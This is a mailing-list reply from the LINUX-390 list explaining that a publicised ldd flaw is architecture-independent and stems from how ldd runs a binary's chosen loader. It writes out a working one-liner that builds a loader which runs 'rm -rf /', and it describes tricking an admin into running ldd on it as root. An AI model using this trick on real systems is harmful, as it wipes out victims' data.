Mark Post wrote:
On 10/26/2009 at 11:46 AM, "McKown, John" <john.mck...@healthmarkets.com>wrote:This is a scary article. I don't have a Linux on z system to test it out on.Even if you did, it wouldn't help. Looks like uClibc doesn't know about s390[x] as a build target. I'm not going to spend the time enlightening it, so I have no way to test either. (Unless someone out there has done it already, or knows of another loader that will build.)
The problem described isn't actually related to glibc, but rather to how
"ldd" is implemented !
The problem is completely architecture independent. The "exploit"
indicated in the 'catonmat' article (which probably only got this much
attention because it was relayed on /.) is convoluted and bizarre
(modifying uClibc ELF dynamic loader and creating a module that uses
that loader - that bypasses the 'TRACE_LOADED_OBJECTS' env variable).
The actual problem can be demonstrated in a way simpler manner (single
liner !):
echo 'main(){system("rm -rf /");}' > a.c ; gcc -static -static-libgcc
-Wl,-static a.c -o al ; gcc -Wl,-dynamic-linker=$(pwd)/al a.c -o a
Then ask your admin to log in as root and ldd for "./a"... all files are
now gone !
(please do NOT... - I *repeat* - Do *NOT* try this at home !)
Note that this is eventually completely unrelated to the z/Architecture
port of the Linux kernel or GNU/Linux distributions running on
z/Architecture implementations.
ReNote that, according to searches, this "exploit" (or rather "flawed as
designed" issue) has been known to exist for around 10+ years, so well
known that the caveat is also actually indicated in ldd's man page!
--Ivan
----------------------------------------------------------------------
For LINUX-390 subscribe / signoff / archive access instructions,
send email to lists...@vm.marist.edu with the message: INFO LINUX-390 or visit
http://www.marist.edu/htbin/wlvindex?LINUX-390
smime.p7s
Description: S/MIME Cryptographic Signature
